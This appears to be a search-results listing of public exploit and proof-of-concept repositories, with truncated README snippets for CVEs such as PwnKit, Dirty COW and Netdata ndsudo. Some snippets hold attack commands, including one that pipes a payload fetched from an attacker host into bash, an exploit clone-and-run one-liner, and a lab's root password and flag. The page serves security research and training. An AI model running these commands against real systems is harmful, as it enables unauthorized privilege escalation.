344862 matches found
CVE-2025-27581
CVE-2025-27581 Exploit scripts for CVE-2025-27581 BasicExploit.sh This just points the exploit to a file of your choice, it should set your target file to 0666 permissions but it can fail on certain files depending on applocker policies or selinux. CreateFakeRoot.sh This points the exploit to...
CVE-2024-32019-poc
CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: bash exploit.sh In target machine run in a writable directory: curl http://:8000/payload.sh | bash It will automatically download the nvme binary, export the path, run...
CVE-2025-27580
CVE-2025-27580: Unauthenticated Account Takeover in NIH BRICS NIH BRICS aka Biomedical Research Informatics Computing System through 14.0.0-67 generates predictable tokens that depend on username, time, and the fixed 7Dl9dj- string and thus allows unauthenticated users with a Common Access Card C...
CVE-2024-50404
CVE-2024-50404 https://www.qnap.com/en/security-advisory/qsa-24-48 https://www.cve.org/CVERecord?id=2024-50404 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N 6.8 "A link following vulnerability has been reported to affect Qsync Central. If exploited, the vulnerability could allow...
CVE-2003-0358
CVE-2003-0358 Posting for historical reasons. snowcrash [email protected] https://github.com/snowcra5h/ Description Buffer overflow in 1 nethack 3.4.0 and earlier, and 2 falconseye 1.9.3 and earlier, which is based on nethack, allows local users to gain privileges via a long -s command line...
CVE-2024-27674
CVE-2024-27674 Macro Expert icacls "C:\Program Files x86\GrassSoft\Macro Expert" C:\Program Files x86\GrassSoft\Macro Expert BUILTIN\Users:OICIM NT SERVICE\TrustedInstaller:IF NT SERVICE\TrustedInstaller:ICIIOF NT AUTHORITY\SYSTEM:IF NT AUTHORITY\SYSTEM:IOICIIOF BUILTIN\Administrators:IF...
FreeBSD-9.0-9.1-Privilege-Escalation
FreeBSD-9.0-9.1 - Privilege-Escalation CVE-2013-2171 By [email protected] How to Exploit! 1° Check the kernel version uname -a FreeBSD freebsd 9.0-RELEASE FreeBSD 9.0-RELEASE 0: Tue Jan 3 07:46:30 UTC 2012 2° Transfer this file to target Attacker machine - python3 -m http.server 8080 Target...
cve-2021-4034
CVE-2021-4034 - PwnKit Polkit Local Privilege Escalation Overview This repository contains a Proof of Concept for CVE-2021-4034 , also known as PwnKit. It was developed for personal training and educational purposes only. Use only in environments you own or are explicitly authorized to test...
dirtycow-lab
dirtycow-lab Dirty COW vulnerability exploitation CVE-2016-5195 on Ubuntu 16.04.1. cat README.md :/. 4. Execution and escalation : chmod +x /dirty && /dirty → su root pass dirtyCowFun. 5. Flag : cat /root/flag.txt → 4GEEKSY0uG0tR00t. ✅ Result root@ubuntu:/home/student whoami root...
Copy-Fail-CVE-2026-31431-dirty-frag-CVE-2026-43284
Remote git clone https://github.com/6abc/Copy-Fail-CVE-2026-31431-dirty-frag-CVE-2026-43284.git && cd Copy-Fail-CVE-2026-31431-dirty-frag-CVE-2026-43284 && gcc -O0 -Wall -o exp exp.c -lutil && ./exp git clone https://github.com/6abc/Copy-Fail-CVE-2026-31431-dirty-frag-CVE-2026-43284.git && cd...
Shocker-TJNULL-OSCP-
HackTheBox: Shocker Writeup A structured and professional walkthrough showcasing the identification and manual exploitation of the critical Shellshock vulnerability, followed by local privilege escalation via misconfigured sudo rights on a Linux target. Technical Overview Target OS: Linux IP...
CVE-2024-55968
CVE-2024-55968 POC for DTEX LPE CVE-2024-55968 Affected product: DEC-M DTEX Forwarder version 6.1.1. DTEX is a unified insider risk management platform. Affected component: DEC-M EventReportingService XPC Helper Attack vector: The DTEX Event Reporting Service was found with a privileged XPC helpe...
cve-2026-43499-firetv-sheldonp-writeup
CVE-2026-43499 on Amazon Fire TV Stick 3rd Gen sheldonp Chaining a Linux kernel privilege escalation into a preloader downgrade and bootloader unlock. Overview This repository documents my authorized reproduction of the CVE-2026-43499 exploitation chain on an Amazon Fire TV Stick 3rd Gen sheldonp...
CVE-2023-22809-Exploiter
CVE-2023-22809 Exploiter Scripts Disclaimer This script is provided for educational purposes only. The author is not responsible for any misuse or unintended consequences resulting from its use. Always follow ethical guidelines and obtain proper authorization before testing any security tools or...
CVE-2023-50780
CVE-2023-50780: MBeans peligrosos accesibles a través de la API de Jolokia en Apache ActiveMQ Artemis Al listar e inspeccionar los MBeans expuestos por la API de Jolokia en http://127.0.0.1:8161/console/jolokia se han identificado los siguientes vectores de ataque: Escritura arbitraria de archivo...
CVE-2024-5324
CVE-2024-5324 Login/Signup Popup Inline Form + Woocommerce 2.7.1 - 2.7.2 - Missing Authorization to Arbitrary Options Update Description: The Login/Signup Popup Inline Form + Woocommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on t...
CVE-2026-27542-CVE-2026-27540-
🔴 Vulnerability Overview CVE-2026-27542 — Unauthenticated Privilege Escalation Field| Details ---|--- CVE ID| CVE-2026-27542 Severity| CRITICAL — CVSS v3.1 Score: 9.8 Vector| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Affected Component| WooCommerce Wholesale Lead Capture WWLC Plugin for...
CVE-2021-4034-POC
CREDITS VULNERABILITY AUTHOR: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 Reference https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c...